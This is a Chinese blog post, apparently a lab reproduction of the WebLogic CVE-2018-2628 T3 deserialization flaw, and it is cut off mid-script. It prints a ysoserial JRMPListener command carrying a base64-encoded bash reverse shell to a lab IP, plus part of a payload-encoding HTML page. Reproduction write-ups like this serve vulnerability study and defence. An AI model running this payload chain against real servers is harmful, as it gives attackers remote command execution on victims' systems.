Weblogic WLS Core Components 反序列化命令执行漏洞复现（CVE-2018-2628）

最新推荐文章于 2024-08-12 18:53:17 发布

imz丶

最新推荐文章于 2024-08-12 18:53:17 发布

阅读量525

点赞数

分类专栏：漏洞复现文章标签： web安全安全网络安全

本文链接：https://blog.csdn.net/yang1234567898/article/details/124332872

版权

本文介绍了Oracle Weblogic Server中CVE-2018-2628反序列化漏洞，该漏洞通过T3协议触发，允许未授权用户远程执行命令。漏洞源于T3服务，可通过ysoserial工具和JRMPListener进行复现。详细步骤包括启动JRMP Server、利用特殊编码的HTML和exploit.py脚本向目标Weblogic发送数据包，最终实现权限获取。

摘要由CSDN通过智能技术生成

Oracle 2018年4月补丁中，修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞（CVE-2018-2628），该漏洞通过t3协议触发，可导致未授权的用户在远程服务器执行任意命令。

漏洞产生原因：

攻击者利用其他rmi绕过weblogic黑名单限制，然后在将加载的内容利用readObject解析，从而造成反序列化远程代码执行该漏洞，该漏洞主要由于T3服务触发，所有开放weblogic控制台7001端口，默认会开启T3服务，攻击者发送构造好的T3协议数据，就可以获取目标服务器的权限。

漏洞复现

启动环境

通过ysoserial启动一个JRMP Server，因为Runtime的的原因，执行的命令需要编码，

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk2LjEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"

使用下面的html网页进行编码即可：

<!DOCTYPE html>
<html>
<head>
    <title>java runtime exec usage...</title>
</head>
<body>
    <p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>

    <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>

<script>
  var taInput = document.querySelector('textarea#input');
  var taOutput = document.querySelector('textarea#output');

  function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;

    switch (option) {
      case 'bash':
        taInput.placeholder = '